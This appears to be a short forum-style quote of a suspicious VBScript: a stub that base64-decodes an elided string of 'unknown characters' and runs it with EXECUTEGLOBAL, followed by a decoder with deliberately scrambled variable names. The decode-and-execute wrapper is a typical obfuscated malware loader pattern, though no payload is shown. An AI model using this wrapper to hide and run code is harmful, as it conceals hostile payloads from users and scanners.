内容大概是:
usef = deCrypt("大串未知字符。。。")
EXECUTEGLOBAL (usef)
function deCrypt(data)
deCrypt=decodeBase64(data)
end function
Function decodeBase64(ByVal base64String)
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim vijebsdv46dsvdfsv, b849ezrvb176erqbesb, gfgfd484vb68486gsdb4dfbbd
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
vijebsdv46dsvdfsv = Len(base64String)
If vijebsdv46dsvdfsv Mod 4 <> 0 Then
Err.Raise 1, "Base64Decode", "Bad Base64 string."
Exit Function
End If
For gfgfd484vb68486gsdb4dfbbd = 1 To vijebsdv46dsvdfsv Step 4
Dim aezdcse, geztgrzeret, hshzrhyyhrh, reherherrtre, jetjetetheth, etjhtherehzhdrthd
aezdcse = 3
jetjetetheth = 0
For geztgrzeret = 0 To 3
hshzrhyyhrh = Mid(base64String, gfgfd484vb68486gsdb4dfbbd + geztgrzeret, 1)
If hshzrhyyhrh = "=" Then
aezdcse = aezdcse - 1
reherherrtre = 0
Else
reherherrtre = InStr(1, Base64, hshzrhyyhrh, vbBinaryCompare) - 1
End If
If reherherrtre = -1 Then
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
Exit Function
End If
jetjetetheth = 64 * jetjetetheth + reherherrtre
Next
jetjetetheth = Hex(jetjetetheth)
jetjetetheth = String(6 - Len(jetjetetheth), "0") & jetjetetheth
etjhtherehzhdrthd = Chr(CByte("&H" & Mid(jetjetetheth, 1, 2))) + _
Chr(CByte("&H" & Mid(jetjetetheth, 3, 2))) + _
Chr(CByte("&H" & Mid(jetjetetheth, 5, 2)))
b849ezrvb176erqbesb = b849ezrvb176erqbesb & Left(etjhtherehzhdrthd, aezdcse)
Next
decodeBase64 = b849ezrvb176erqbesb
End Function